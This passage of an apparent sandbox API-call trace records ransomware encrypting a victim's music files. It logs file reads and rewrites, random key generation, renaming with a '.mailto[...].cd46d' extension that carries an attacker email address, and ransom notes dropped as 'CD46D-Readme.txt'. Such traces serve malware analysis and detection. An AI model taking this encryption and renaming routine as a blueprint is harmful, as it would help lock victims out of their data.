(HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945960) returned 1 [0148.225] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945a00) returned 1 [0148.225] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945a28) returned 1 [0148.225] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc4) returned 0x938cb8 [0148.225] wcscpy (in: _Dest=0x938cb8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\r8qw.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\r8qw.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\r8qw.mp3" [0148.225] wcscat (in: _Dest=0x938cb8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\r8qw.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\r8qw.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0148.225] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\r8qw.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x6cff83c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\r8qw.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0148.225] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xda) returned 0x8fa890 [0148.228] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fa890) returned 1 [0148.228] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x974070) returned 1 [0148.228] NtQueryInformationFile (in: FileHandle=0x1234, IoStatusBlock=0x6cff848, FileInformation=0x6cff820, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x6cff848, FileInformation=0x6cff820) returned 0x0 [0148.228] NtSetInformationFile (FileHandle=0x1234, IoStatusBlock=0x6cff848, FileInformation=0x6cff820, Length=0x28, FileInformationClass=0x4) returned 0x0 [0148.229] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938cb8) returned 1 [0148.229] FlushFileBuffers (hFile=0x1234) returned 1 [0148.230] CloseHandle (hObject=0x1234) returned 1 [0148.232] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x940c50 [0148.232] wcscpy (in: _Dest=0x940c50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\" [0148.232] wcscat (in: _Dest=0x940c50, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\CD46D-Readme.txt" [0148.232] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\cd46d-readme.txt")) returned 0xffffffff [0148.232] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1234 [0148.233] WriteFile (in: hFile=0x1234, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x6cff844, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x6cff844*=0x6fd, lpOverlapped=0x0) returned 1 [0148.234] CloseHandle (hObject=0x1234) returned 1 [0148.234] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940c50) returned 1 [0148.234] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f70a8) returned 1 Thread: id = 2741 os_tid = 0x1774 [0148.235] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\rAGco35sn61BU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\ragco35sn61bu.mp3")) returned 0x20 [0149.221] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\rAGco35sn61BU.mp3", dwFileAttributes=0x20) returned 1 [0149.480] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\rAGco35sn61BU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\ragco35sn61bu.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16c0 [0149.480] GetFileSizeEx (in: hFile=0x16c0, lpFileSize=0x84ef9e4 | out: lpFileSize=0x84ef9e4*=90555) returned 1 [0149.480] SetFilePointerEx (in: hFile=0x16c0, liDistanceToMove=0x161b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.480] ReadFile (in: hFile=0x16c0, lpBuffer=0x84ef968, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x84ef964, lpOverlapped=0x0 | out: lpBuffer=0x84ef968*, lpNumberOfBytesRead=0x84ef964*=0x4, lpOverlapped=0x0) returned 1 [0149.488] SetFilePointerEx (in: hFile=0x16c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.488] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9459b0 [0149.488] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945988 [0149.488] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945640 [0149.488] NtQuerySystemTime (in: CurrentTime=0x84ef944 | out: CurrentTime=0x84ef944*=132174899240962000) returned 0x0 [0149.488] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x65bfe26 [0149.488] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0xd882117 [0149.488] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x2e4bd64c [0149.488] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x58269f8b [0149.488] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x4cccc6a5 [0149.488] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x6eb32e6a [0149.488] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x73e07844 [0149.488] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x6722042b [0149.488] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x6c96164a [0149.488] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x5f122d66 [0149.488] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0xe3aa357 [0149.488] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x1caf7db9 [0149.488] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x77b9f184 [0149.488] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x6f546bb9 [0149.488] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x3aad5f43 [0149.489] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x4300dcb6 [0149.489] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x2c7385ba [0149.489] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x5196ea8b [0149.489] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x6c4e2408 [0149.489] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x3487d61b [0149.489] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x29a6c69c [0149.489] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x4e4c3de5 [0149.489] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x552827b7 [0149.489] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x2dbd6256 [0149.489] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x12e59f2e [0149.489] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x2b411c74 [0149.489] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x6c4afbeb [0149.489] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0xed64bf [0149.489] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x56426bc7 [0149.489] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x1d707090 [0149.489] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x6a7bf4f [0149.489] RtlRandomEx (in: Seed=0x84ef950 | out: Seed=0x84ef950) returned 0x66f5445c [0149.500] SetFilePointerEx (in: hFile=0x16c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.500] ReadFile (in: hFile=0x16c0, lpBuffer=0xd494048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x84ef924, lpOverlapped=0x0 | out: lpBuffer=0xd494048*, lpNumberOfBytesRead=0x84ef924*=0xc800, lpOverlapped=0x0) returned 1 [0149.516] SetFilePointerEx (in: hFile=0x16c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.516] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2668 [0149.516] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c8f0 [0149.516] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9459b0 [0149.516] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9459b0) returned 1 [0149.517] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0x12c52048 [0149.518] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9459b0 [0149.518] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9455f0 [0149.518] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9455f0) returned 1 [0149.518] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c8f0) returned 1 [0149.518] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2668) returned 1 [0149.518] WriteFile (in: hFile=0x16c0, lpBuffer=0x12c52048*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x84ef924, lpOverlapped=0x0 | out: lpBuffer=0x12c52048*, lpNumberOfBytesWritten=0x84ef924*=0xc800, lpOverlapped=0x0) returned 1 [0149.544] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c52048) returned 1 [0149.544] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd494048) returned 1 [0149.544] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2f) returned 0x8da7f8 [0149.544] SetFilePointerEx (in: hFile=0x16c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.544] WriteFile (in: hFile=0x16c0, lpBuffer=0x8fa890*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x84ef9a4, lpOverlapped=0x0 | out: lpBuffer=0x8fa890*, lpNumberOfBytesWritten=0x84ef9a4*=0x113, lpOverlapped=0x0) returned 1 [0149.566] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fa890) returned 1 [0149.566] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8daa28) returned 1 [0149.566] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9456e0) returned 1 [0149.566] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da7f8) returned 1 [0149.566] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9459b0) returned 1 [0149.566] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945988) returned 1 [0149.566] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945938) returned 1 [0149.566] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945910) returned 1 [0149.566] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd6) returned 0x8f6488 [0149.566] wcscpy (in: _Dest=0x8f6488, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\rAGco35sn61BU.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\rAGco35sn61BU.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\rAGco35sn61BU.mp3" [0149.566] wcscat (in: _Dest=0x8f6488, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\rAGco35sn61BU.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\rAGco35sn61BU.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0149.566] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\rAGco35sn61BU.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x84ef95c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\rAGco35sn61BU.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0149.566] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xec) returned 0x8fa890 [0149.568] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fa890) returned 1 [0149.568] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a8b38) returned 1 [0149.568] NtQueryInformationFile (in: FileHandle=0x16c0, IoStatusBlock=0x84ef968, FileInformation=0x84ef940, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x84ef968, FileInformation=0x84ef940) returned 0x0 [0149.568] NtSetInformationFile (FileHandle=0x16c0, IoStatusBlock=0x84ef968, FileInformation=0x84ef940, Length=0x28, FileInformationClass=0x4) returned 0x0 [0149.569] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6488) returned 1 [0149.569] FlushFileBuffers (hFile=0x16c0) returned 1 [0149.594] CloseHandle (hObject=0x16c0) returned 1 [0149.595] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x9ab688 [0149.595] wcscpy (in: _Dest=0x9ab688, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\" [0149.595] wcscat (in: _Dest=0x9ab688, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\CD46D-Readme.txt" [0149.595] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\cd46d-readme.txt")) returned 0x20 [0150.141] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab688) returned 1 [0150.141] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab8e8) returned 1 Thread: id = 2742 os_tid = 0x1778 [0148.236] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\uQuVJUDsyzKmXWxTOwt.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\uquvjudsyzkmxwxtowt.wav")) returned 0x20 [0149.222] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\uQuVJUDsyzKmXWxTOwt.wav", dwFileAttributes=0x20) returned 1 [0149.486] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\uQuVJUDsyzKmXWxTOwt.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\uquvjudsyzkmxwxtowt.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16c4 [0149.486] GetFileSizeEx (in: hFile=0x16c4, lpFileSize=0x4adfd28 | out: lpFileSize=0x4adfd28*=80311) returned 1 [0149.486] SetFilePointerEx (in: hFile=0x16c4, liDistanceToMove=0x139b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.487] ReadFile (in: hFile=0x16c4, lpBuffer=0x4adfcac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4adfca8, lpOverlapped=0x0 | out: lpBuffer=0x4adfcac*, lpNumberOfBytesRead=0x4adfca8*=0x4, lpOverlapped=0x0) returned 1 [0149.503] SetFilePointerEx (in: hFile=0x16c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.503] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9459b0 [0149.503] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945640 [0149.504] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9455f0 [0149.504] NtQuerySystemTime (in: CurrentTime=0x4adfc88 | out: CurrentTime=0x4adfc88*=132174899241118000) returned 0x0 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x2bdace85 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x187e5a96 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x5772c2ee [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x7a47b513 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x64ff42c3 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x6f546bb9 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x76193160 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x1aefbc13 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x1ac6c33c [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x69c30771 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x56ee5010 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x17d2057c [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x59216ba2 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x3e605970 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x3766bc40 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x71fba846 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x7c8255d8 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x6d597304 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x373dcfa8 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x14f4aa97 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x30bc6e8 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x33ee7eaf [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x1734fe8c [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x6ea10d3 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x533b9d08 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x4b0f3534 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x77e282a6 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x5d4998b9 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x48af15b1 [0149.504] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x4280fdb4 [0149.505] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x1541c9bc [0149.505] RtlRandomEx (in: Seed=0x4adfc94 | out: Seed=0x4adfc94) returned 0x67435621 [0149.515] SetFilePointerEx (in: hFile=0x16c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.515] ReadFile (in: hFile=0x16c4, lpBuffer=0xd4a0850, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x4adfc68, lpOverlapped=0x0 | out: lpBuffer=0xd4a0850*, lpNumberOfBytesRead=0x4adfc68*=0xc800, lpOverlapped=0x0) returned 1 [0149.536] SetFilePointerEx (in: hFile=0x16c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.536] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2668 [0149.536] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c8f0 [0149.536] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9455f0 [0149.536] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9455f0) returned 1 [0149.537] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0xd4f8870 [0149.542] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9455f0 [0149.542] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9456e0 [0149.542] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9456e0) returned 1 [0149.542] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c8f0) returned 1 [0149.542] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2668) returned 1 [0149.542] WriteFile (in: hFile=0x16c4, lpBuffer=0xd4f8870*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x4adfc68, lpOverlapped=0x0 | out: lpBuffer=0xd4f8870*, lpNumberOfBytesWritten=0x4adfc68*=0xc800, lpOverlapped=0x0) returned 1 [0149.564] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4f8870) returned 1 [0149.564] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a0850) returned 1 [0149.564] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3b) returned 0x8d28f0 [0149.564] SetFilePointerEx (in: hFile=0x16c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.564] WriteFile (in: hFile=0x16c4, lpBuffer=0x9bfdf0*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x4adfce8, lpOverlapped=0x0 | out: lpBuffer=0x9bfdf0*, lpNumberOfBytesWritten=0x4adfce8*=0x11f, lpOverlapped=0x0) returned 1 [0149.590] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bfdf0) returned 1 [0149.590] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2938) returned 1 [0149.590] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945be0) returned 1 [0149.590] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d28f0) returned 1 [0149.590] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9455f0) returned 1 [0149.590] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945640) returned 1 [0149.590] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945618) returned 1 [0149.590] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9455c8) returned 1 [0149.590] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe2) returned 0xd4bbf08 [0149.590] wcscpy (in: _Dest=0xd4bbf08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\uQuVJUDsyzKmXWxTOwt.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\uQuVJUDsyzKmXWxTOwt.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\uQuVJUDsyzKmXWxTOwt.wav" [0149.590] wcscat (in: _Dest=0xd4bbf08, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\uQuVJUDsyzKmXWxTOwt.wav.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\uQuVJUDsyzKmXWxTOwt.wav.mailto[2Hamlampampom@cock.li].cd46d" [0149.590] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS 